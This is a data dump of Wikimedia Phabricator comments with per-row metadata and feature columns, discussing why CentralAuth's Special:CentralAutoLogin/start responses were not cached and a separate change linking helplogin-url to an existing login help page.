239858,CentralAuth not caching Special:CentralAutoLogin/start,"The fix had the intended effect but I still see those URLs (without returnto this time) not being cached at all. It seems MediaWiki emits ""Cache-control: private, must-revalidate, max-age=0"" and ""Expires: Thu, 01 Jan 1970 00:00:00 GMT""; a request/response sample would be:

GET /wiki/Special:CentralAutoLogin/start?type=script HTTP/1.0
Host: zh.wikipedia.org
Accept: */*
User-Agent: (...)
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Via: 1.0 cp1015.eqiad.wmnet:3128 (squid/2.7.STABLE9)
X-Forwarded-For: (...)
Connection: keep-alive

HTTP/1.1 302 Found
Date: Fri, 18 Oct 2013 00:35:12 GMT
Server: Apache
X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
X-Content-Type-Options: nosniff
Cache-control: private, must-revalidate, max-age=0 
Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=zhwikiToken;string-contains=zhwikiLoggedOut;string-contains=forceHTTPS;string-contains=zhwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: http://zh.wikipedia.org/w/index.php?title=Special:%E4%B8%AD%E5%A4%AE%E8%AE%A4%E8%AF%81%E7%99%BB%E5%BD%95/start&type=script
Content-Encoding: gzip
Content-Length: 20
Keep-Alive: timeout=2, max=147
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8",,,1382057563,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,7,True,0.25,0.0,0.0,0.25,0.25,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,2.0,1.0,1.5,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.5,3.5,1.75,0.25,0.0,0.0,0.25,0.0,0.75,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.75,0.5,20.75,0.0,0.5,1.25,0.0,0.0,0.0,0.0,2.25,0.0,4.0,0.0,0.5,1.5,16.5,0.0,1.0,0.0,0.5,0.0,0.0,0.25,0.0,0.5,0.0,0.0,0.25,4.034769555339176,0.5788704965920155,"The fix had the intended effect but I still see those URLs (without returnto this time) not being cached at all. It seems MediaWiki emits ""Cache-control: private, must-revalidate, max-age=0"" and ""Expires: Thu, 01 Jan 1970 00:00:00 GMT""; a request/response sample would be:

GET /wiki/Special:CentralAutoLogin/start?type=script HTTP/1.0
Host: zh.wikipedia.org
Accept: */*
User-Agent: (...)
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Via: 1.0 cp1015.eqiad.wmnet:3128 (squid/2.7.STABLE9)
X-Forwarded-For: (...)
Connection: keep-alive

HTTP/1.1 302 Found
Date: Fri, 18 Oct 2013 00:35:12 GMT
Server: Apache
X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
X-Content-Type-Options: nosniff
Cache-control: private, must-revalidate, max-age=0 
Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=zhwikiToken;string-contains=zhwikiLoggedOut;string-contains=forceHTTPS;string-contains=zhwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: URL
Content-Encoding: gzip
Content-Length: 20
Keep-Alive: timeout=2, max=147
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8"
239854,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86265 merged by jenkins-bot:
For caching, avoid passing returnto to Special:CentralAutoLogin

https://gerrit.wikimedia.org/r/86265",,,1380306961,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.809523809523809,0.9523809523809523,"Change 86265 merged by jenkins-bot:
For caching, avoid passing returnto to Special:CentralAutoLogin

GERRIT_URL"
239851,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86265 had a related patch set uploaded by Anomie:
For caching, avoid passing returnto to Special:CentralAutoLogin

https://gerrit.wikimedia.org/r/86265",,,1380297517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,4.875,0.9583333333333334,"Change 86265 had a related patch set uploaded by Anomie:
For caching, avoid passing returnto to Special:CentralAutoLogin

GERRIT_URL"
239847,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #10)
> Ah, thanks. Could we build the correct returnto and update the link in the
> javascript that we return from /setCookies?

Probably. Although my gut reaction is ""this #p-personal thing keeps getting more and more hacky"".",,,1380250081,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.3714285714285714,0.8285714285714286,"(In reply to comment #10)
QUOTE
QUOTE

Probably. Although my gut reaction is ""this #p-personal thing keeps getting more and more hacky""."
239842,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #8)
> (In reply to comment #6)
> > Brad, do remember why we add returnto and returntoquery in
> > centralautologin.js
> > for non-login pages? It's not used except when we get to the /setCookies
> > phase,
> > and there, it only adds a window.location if the request had a 'return'
> > parameter, which I don't ever see set. So it seems like we're passing it
> > around
> > without actually using it.. but am I missing something?
> 
> git blame would point you to Gerrit change #83007. The returnto gets used in
> SkinTemplate.php in core, when it generates the #p-personal replacement.

Ah, thanks. Could we build the correct returnto and update the link in the javascript that we return from /setCookies?",,,1380249085,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,4.0,9.0,20.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5090909090909093,0.5454545454545454,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ah, thanks. Could we build the correct returnto and update the link in the javascript that we return from /setCookies?"
239836,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86207 abandoned by CSteipp:
Remove returnto for basic login test

Reason:
We'll find a better solution

https://gerrit.wikimedia.org/r/86207",,,1380249055,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,12.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.32,0.88,"Change 86207 abandoned by CSteipp:
Remove returnto for basic login test

Reason:
We'll find a better solution

GERRIT_URL"
239831,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #6)
> Brad, do remember why we add returnto and returntoquery in
> centralautologin.js
> for non-login pages? It's not used except when we get to the /setCookies
> phase,
> and there, it only adds a window.location if the request had a 'return'
> parameter, which I don't ever see set. So it seems like we're passing it
> around
> without actually using it.. but am I missing something?

git blame would point you to Gerrit change 83007. The returnto gets used in SkinTemplate.php in core, when it generates the #p-personal replacement.",,,1380244260,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,9.0,17.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6296296296296298,0.6666666666666666,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

git blame would point you to Gerrit change 83007. The returnto gets used in SkinTemplate.php in core, when it generates the #p-personal replacement."
239827,CentralAuth not caching Special:CentralAutoLogin/start,"Change 86207 had a related patch set uploaded by CSteipp:
Remove returnto for basic login test

https://gerrit.wikimedia.org/r/86207",,,1380239889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"Change 86207 had a related patch set uploaded by CSteipp:
Remove returnto for basic login test

GERRIT_URL"
239826,CentralAuth not caching Special:CentralAutoLogin/start,"Thanks Faidon. In the majority case, the ping to check if the anon user is logged in, we shouldn't need the returnto.. so if that's being added, I think we can fix that.

Brad, do remember why we add returnto and returntoquery in centralautologin.js for non-login pages? It's not used except when we get to the /setCookies phase, and there, it only adds a window.location if the request had a 'return' parameter, which I don't ever see set. So it seems like we're passing it around without actually using it.. but am I missing something?",,,1380239228,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,0.0,1.0,0.0,1.0,2.0,1.5,0.0,0.0,0.0,2.0,1.5,4.0,0.0,1.0,0.0,5.5,0.0,9.0,7.5,1.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,8.5,2.5,4.0,2.0,0.0,1.0,1.0,0.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,7.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.5,0.0,0.0,0.5,5.5,2.0,6.0,4.0,2.5,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,9.5,7.5,1.5,1.5,1.5,0.0,9.5,0.0,2.0,1.5,0.0,2.5,0.0,0.0,0.0,3.7309322033898304,0.8069209039548022,"Thanks Faidon. In the majority case, the ping to check if the anon user is logged in, we shouldn't need the returnto.. so if that's being added, I think we can fix that.

Brad, do remember why we add returnto and returntoquery in centralautologin.js for non-login pages? It's not used except when we get to the /setCookies phase, and there, it only adds a window.location if the request had a 'return' parameter, which I don't ever see set. So it seems like we're passing it around without actually using it.. but am I missing something?"
239822,CentralAuth not caching Special:CentralAutoLogin/start,"CentralAutoLogin traffic is still > 50% of all Apache traffic, so no huge effect there.

CentralAutoLogin/start is 27.5% in my small sample, however this has little to do with caching: all of the URLs are different because of the ""returnto"" query parameter. There is of course benefit with having those cached when ""returnto"" is some popular page (e.g. Main_Page).",,,1380180817,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,4.0,0.0,0.0,0.0,0.0,7.0,3.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,22.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,12.0,1.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0394736842105265,0.75,"CentralAutoLogin traffic is still > 50% of all Apache traffic, so no huge effect there.

CentralAutoLogin/start is 27.5% in my small sample, however this has little to do with caching: all of the URLs are different because of the ""returnto"" query parameter. There is of course benefit with having those cached when ""returnto"" is some popular page (e.g. Main_Page)."
239817,CentralAuth not caching Special:CentralAutoLogin/start,"This change has been deployed, and load to eqiad application servers seems to have dropped a bit.

20:31 logmsgbot: csteipp synchronized php-1.22wmf17/extensions/CentralAuth 'update to master for SUL fix'
20:28 logmsgbot: csteipp synchronized php-1.22wmf18/extensions/CentralAuth 'update to master for SUL fix'",,,1380142461,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,0.0,11.0,12.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.807017543859649,0.6491228070175439,"This change has been deployed, and load to eqiad application servers seems to have dropped a bit.

20:31 logmsgbot: csteipp synchronized php-1.22wmf17/extensions/CentralAuth 'update to master for SUL fix'
20:28 logmsgbot: csteipp synchronized php-1.22wmf18/extensions/CentralAuth 'update to master for SUL fix'"
239810,CentralAuth not caching Special:CentralAutoLogin/start,"Faidon, Tim, or Mark, it would be good if you guys could take a look at gerrit 85036 too, and just make sure Brad and my assumptions about squid / varnish are correct. If anything doesn't seem right, let us know asap!",,,1379623676,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,3,True,0.0,2.0,0.0,0.0,2.0,10.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,10.0,4.0,6.0,2.0,0.0,0.0,2.0,0.0,12.0,0.0,2.0,0.0,8.0,8.0,12.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.52,0.9,"Faidon, Tim, or Mark, it would be good if you guys could take a look at gerrit 85036 too, and just make sure Brad and my assumptions about squid / varnish are correct. If anything doesn't seem right, let us know asap!"
239804,CentralAuth not caching Special:CentralAutoLogin/start,"Change 85036 merged by jenkins-bot:
Set Squid maxage so proxies will cache

https://gerrit.wikimedia.org/r/85036",,,1379622887,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,"Change 85036 merged by jenkins-bot:
Set Squid maxage so proxies will cache

GERRIT_URL"
239798,CentralAuth not caching Special:CentralAutoLogin/start,"Change 85036 had a related patch set uploaded by CSteipp:
Set Squid maxage so proxies will cache

https://gerrit.wikimedia.org/r/85036",,,1379618889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,1.0,"Change 85036 had a related patch set uploaded by CSteipp:
Set Squid maxage so proxies will cache

GERRIT_URL"
55888,Link to existing login help page by default from helplogin-url,"helplogin-url is shown in a very prominent place by default and it should point to an existing page to avoid confusing users with links to nonexisting pages, similarly to bug 53862.

We have [[mw:Help:Logging in]], which given the author I assume ok and that can be made translatable when we are comfortable about the quality of its content (it had some ""manual"" translations on Meta). Linking it will help improve it, but it's already better than the default red link.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",Medium,50.0,1378539120,1395245833.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-addxd43f7bv3gv4au2ws,task_description,resolved,True,c2,3,True,False,False,1,True,1.0,0.0,0.5,1.0,0.0,4.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.5,2.5,7.5,0.0,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,3.0,1.0,4.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,5.5,1.0,2.0,5.0,0.0,0.0,0.0,0.0,3.5,0.5,1.5,0.0,6.5,7.5,1.5,0.0,1.5,0.0,6.5,0.0,1.5,1.0,0.0,3.0,1.0,0.0,1.5,3.8583333333333334,0.8,"helplogin-url is shown in a very prominent place by default and it should point to an existing page to avoid confusing users with links to nonexisting pages, similarly to bug 53862.

We have [[mw:Help:Logging in]], which given the author I assume ok and that can be made translatable when we are comfortable about the quality of its content (it had some ""manual"" translations on Meta). Linking it will help improve it, but it's already better than the default red link.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
245541,Link to existing login help page by default from helplogin-url,"Change 119489 merged by jenkins-bot:
Link to existing login help page by default from helplogin-url

https://gerrit.wikimedia.org/r/119489",,,1395245317,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.260869565217392,0.9130434782608695,"Change 119489 merged by jenkins-bot:
Link to existing login help page by default from helplogin-url

GERRIT_URL"
245534,Link to existing login help page by default from helplogin-url,"Change 119489 had a related patch set uploaded by Nemo bis:
Link to existing login help page by default from helplogin-url

https://gerrit.wikimedia.org/r/119489",,,1395242959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,29,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.2592592592592595,0.9629629629629629,"Change 119489 had a related patch set uploaded by Nemo bis:
Link to existing login help page by default from helplogin-url

GERRIT_URL"
245527,Link to existing login help page by default from helplogin-url,"Thanks MatmaRex and thanks everyone for comments, code review and rebase/unit test help.
The change was also notified on
* mediawiki-l (but mailman not helping): http://lists.wikimedia.org/pipermail/mediawiki-l/2014-March/042664.html
* design: http://lists.wikimedia.org/pipermail/design/2014-March/001694.html",,,1395226239,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,True,,,29,True,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7560975609756095,0.8780487804878049,"Thanks MatmaRex and thanks everyone for comments, code review and rebase/unit test help.
The change was also notified on
* mediawiki-l (but mailman not helping): URL
* design: URL"
245522,Link to existing login help page by default from helplogin-url,"Change 83220 merged by jenkins-bot:
Link to existing login help page by default from helplogin-url

https://gerrit.wikimedia.org/r/83220",,,1395226102,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-addxd43f7bv3gv4au2ws,task_subcomment,,True,c2,3,False,,,29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.217391304347826,0.9130434782608695,"Change 83220 merged by jenkins-bot:
Link to existing login help page by default from helplogin-url

GERRIT_URL"
